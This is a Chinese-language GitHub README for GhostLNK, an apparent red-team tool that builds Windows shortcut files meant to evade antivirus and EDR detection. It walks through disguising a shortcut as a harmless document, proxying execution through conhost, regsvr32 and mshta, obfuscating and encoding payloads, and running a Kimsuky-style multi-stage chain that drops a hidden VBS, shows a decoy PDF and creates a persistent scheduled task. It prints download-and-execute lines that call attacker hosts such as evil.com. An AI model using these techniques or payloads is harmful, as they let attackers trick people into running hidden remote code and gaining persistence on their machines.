Excalibra/GhostLNK
GitHub: Excalibra/GhostLNK
一款专注于生成规避检测的 Windows LNK 快捷方式的工具,帮助红队模拟高级攻击并测试 EDR 检测能力。
Stars: 5 | Forks: 1
## 🧬 概述
**GhostLNK** 是一款尖端的 Windows LNK(快捷方式)生成器,融合了高级规避、模块化阶段和复古风格的界面。它为红队和安全研究人员提供工具,模拟国家级攻击手法——在绕过现代 EDR 特征码的同时保持令人信服的伪装。
## 🧰 核心功能
### 🚀 核心载荷引擎
| 模式 | 描述 |
|------|------|
| 📥 **下载并打开** | 获取远程文件,保存到临时位置并用默认程序打开。 |
| ⚡ **内存执行** | 在内存中直接运行 PowerShell 脚本,不产生磁盘痕迹。 |
| 🥷 **极致隐身** | 输出最小化,命令高度混淆以实现最大 AV 规避。 |
| 🎯 **原始目标** | 完全绕过 PowerShell:直接运行任意 EXE 并传入自定义参数。 |
### 🛡️ 高级规避(灵感源自 Kimsuky)
| 技术 | 效果 |
|------|------|
| 🔀 **conhost.exe 代理** | 通过受信任的 `conhost.exe` 启动 PowerShell,以绕过父进程监控。 |
| 🎭 **LNK 践踏** | 显示路径伪装(例如 `invoice.pdf`),实际执行有效载荷。 |
| 📡 **regsvr32 代理** | 使用 `regsvr32.exe` 实现无文件执行远程 SCT/DLL。 |
| 🧩 **多阶段启动器** | LNK → 隐藏 VBS → 诱饵 PDF → 计划任务 → 最终载荷。 |
| 🔐 **XOR 编码** | 使用用户提供的密钥加密嵌入的脚本。 |
| 🧵 **字符串混淆** | 拆分可疑字符串(`powershell` → `('po'+'wer'+'she'+'ll')`)。 |
### 🎚️ 隐身等级
| 等级 | 行为 | AV 规避能力 |
|------|------|------------|
| **0 – 正常** | 标准输出,可见窗口 | 低 |
| **1 – 中等** | PowerShell 别名,不使用明显标志 | 中 |
| **2 – 最高** | 混淆代码,不使用 `-WindowStyle Hidden` | 高 |
### 🖥️ 专业界面
- **双栏标题** – 左侧为标题与说明,右侧为实时控制台。
- **霓虹矩阵美学** – 高对比度等宽主题,提升可读性。
- **分步流程** – 带视觉进度指示的编号阶段。
- **智能冲突解决** – 不兼容选项自动禁用并附带提示。
- **实时 Dropbox 校验** – 对 `dl=1` 参数即时反馈。
- **图标伪装** – 提供 8+ 种真实文件图标(PDF、Word、Excel 等)。
- **历史记录** – 快速回溯之前的 URL 与转换记录。
## 📦 安装
### 先决条件
- **Python 3.8+**
- **Windows 操作系统**(LNK 生成依赖 Windows API 结构)
### 一键安装
```
git clone https://github.com/Excalibra/GhostLNK.git
cd GhostLNK
pip install PyQt6 pylnk3 # Auto‑installed on first run if missing
python ghostlnk.py
```
## 🧪 使用指南
### 🚀 快速启动(PowerShell 载荷)
1. **输入 URL** – 例如带有 `&dl=1` 的 Dropbox 链接。
2. **选择载荷类型** – 下载并打开、内存执行 或 极致隐身。
3. **设置隐身等级** – 从 0(正常)到 2(最大混淆)。
4. **执行选项** – 暂停、调试或隐藏窗口。
5. **生成** – 按顺序点击按钮:显示 → 编码 → 复制 → 使用。
```
[1] Show Command → preview
[2] Encode → base64
[3] Copy -E → clipboard
[4] Use in LNK → load into generator
```
### 🔧 原始目标模式
启用 **原始目标模式** 可直接启动任意可执行文件:
```
Target: C:\Windows\System32\mshta.exe
Args: "https://evil.com/payload.hta"
```
### 🧬 内嵌载荷(无需网络)
直接将 PowerShell 脚本粘贴至 **内嵌载荷** 区域。启用 XOR 编码或字符串混淆以增强隐蔽性。生成的 LNK 包含自解码存根,完全在命令行中运行。
### 🧩 多阶段启动器(Kimsuky 风格)
1. 勾选 **多阶段启动器**。
2. 提供 **诱饵 PDF URL**(立即打开)。
3. 提供 **最终载荷 URL**(通过计划任务执行)。
该 LNK 会在隐藏文件夹中释放 VBS 脚本,打开诱饵 PDF,并创建一个以随机 GUID 命名的持久化计划任务。
## 🧠 隐身机制详解
### 为何隐身很重要
EDR 与 AV 通常会标记:
- `-WindowStyle Hidden` 标志
- 高熵长 Base64 字符串
- 可疑的父子进程关系
### 极致隐身(等级 2)示例
```
# GhostLNK Level 2 生成:
powershell.exe -WindowStyle Hidden -E SQBFAFgAIAAoAE4AZ...
# GhostLNK Level 2 输出:
powershell.exe -E SQBFAFgAIAAoAE4AZ... # Payload internally uses iex (wget -useb ...)
```
### LNK 践踏实战
LNK 内部的 `LinkTargetIDList` 被故意破坏。Windows 资源管理器会“修正”显示路径为无害文件(例如 `C:\Users\Public\Documents\invoice.pdf`),而实际命令仍会执行。
## ⚙️ 配置
### GhostLNK Level 2 产生:
```
{
"recent_urls": ["https://dropbox.com/...", "http://vps/file.pdf"],
"recent_conversions": ["-E SQBFAFgAIAAoAE4AZ..."]
}
```
### 自定义图标
编辑 `ghostlnk.py` 中的 `ICON_DATABASE`:
```
ICON_DATABASE = {
"My App": (r"C:\Path\to\app.exe", 0, ".custom"),
}
```
## 🧬 载荷示例
### 下载并打开(等级 2)
```
$u="https://dropbox.com/file.pdf?dl=1";$t=[IO.Path]::GetTempPath();$f=[IO.Path]::Combine($t,"doc.pdf");(New-Object Net.WebClient).DownloadFile($u,$f);Start "$f";
```
### 内存执行(等级 2)
```
iex (wget -useb "https://your-server.com/script.ps1");
```
### 原始目标(mshta)
```
Target: C:\Windows\System32\mshta.exe
Args: "https://example.com/update.hta"
```
### 多阶段启动器输出
- **LNK**:运行 PowerShell,创建 `%APPDATA%\Microsoft\MicrosoftEdge_XXXXX\update.vbs`
- **VBS**:打开诱饵 PDF 并调度隐藏任务
- **任务**:执行 `iex (iwr 'http://payload/launcher.ps1')`
## 🧰 故障排除
| 症状 | 可能的修复 |
|------|------------|
| LNK 无法执行 | 确认 URL 可访问且 Dropbox 包含 `&dl=1`。 |
| 仍被 AV 检测 | 提升至等级 2,改为内存执行,或启用 **regsvr32** / **多阶段**。 |
| GUI 无法启动 | 手动执行 `pip install PyQt6 pylnk3`。 |
| 按钮保持灰色 | 更新至最新代码;冲突逻辑已优化。 |
| 导入未添加 `-E` | 粘贴后点击 **导入** 按钮。 |
## 📚 学习资源
- [Microsoft LNK 格式](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink/)
- [MITRE ATT&CK T1204.002](https://attack.mitre.org/techniques/T1204/002/)
- [红队 LNK 技巧](https://redteam.guide/docs/Execution/LNK)
## ⚖️ 法律与伦理使用
## 🤝 贡献
1. 叉仓库
2. 创建功能分支(`git checkout -b feature/amazing`)
3. 提交更改(`git commit -m 'Add amazing feature'`)
4. 推送(`git push origin feature/amazing`)
5. 发起拉取请求
## 🙏 感谢
- **pylnk3** 提供核心 LNK 操作
- 安全研究社区持续启发
- 推动防御创新的 APT 手法
GhostLNK – 规避技术的前沿边缘
仅限授权使用
标签:AV绕过, Base64编码, conhost代理, CSV导出, DNS 反向解析, DNS 解析, EDR绕过, FastAPI, Kimsuky技术, LNK伪装, LNK文件生成, PowerShell执行, Raspberry Pi, regsvr32代理, Rootkit技术, StruQ, Windows快捷方式, XOR编码, 下载器, 云资产清单, 代理, 内存执行, 后门载荷, 国家级威胁, 多阶段加载, 字符串混淆, 数字取证对抗, 文件路径欺骗, 无文件攻击, 模块化, 流量嗅探, 特洛伊化, 网络信息收集, 远程执行, 逆向工具, 逆向工程, 隐蔽载荷, 高交互蜜罐